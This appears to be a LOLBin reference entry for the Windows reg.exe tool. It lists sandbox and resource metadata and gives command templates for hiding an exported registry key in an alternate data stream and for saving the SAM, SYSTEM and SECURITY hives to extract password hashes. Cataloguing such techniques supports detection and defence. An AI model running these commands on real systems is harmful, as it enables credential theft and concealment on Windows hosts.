Used to manipulate the registry Located at: C:\Windows\System32\reg.exe; C:\Windows\SysWOW64\reg.exe.
reg reg Sandbox: execFile · Timeout: 30s
system.file.alternate-data-stream credential.dump Outputs
process.output Command execution output
filesystem_writeprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Export the target Registry key and save it to the specified .REG file within an Alternate data stream. (Hide/plant registry information in Alternate data stream for later use)
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material (Dump credentials from the Security Account Manager (SAM))
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak} reg is a Windows LOLBin. Used to manipulate the registry Located at: C:\Windows\System32\reg.exe; C:\Windows\SysWOW64\reg.exe.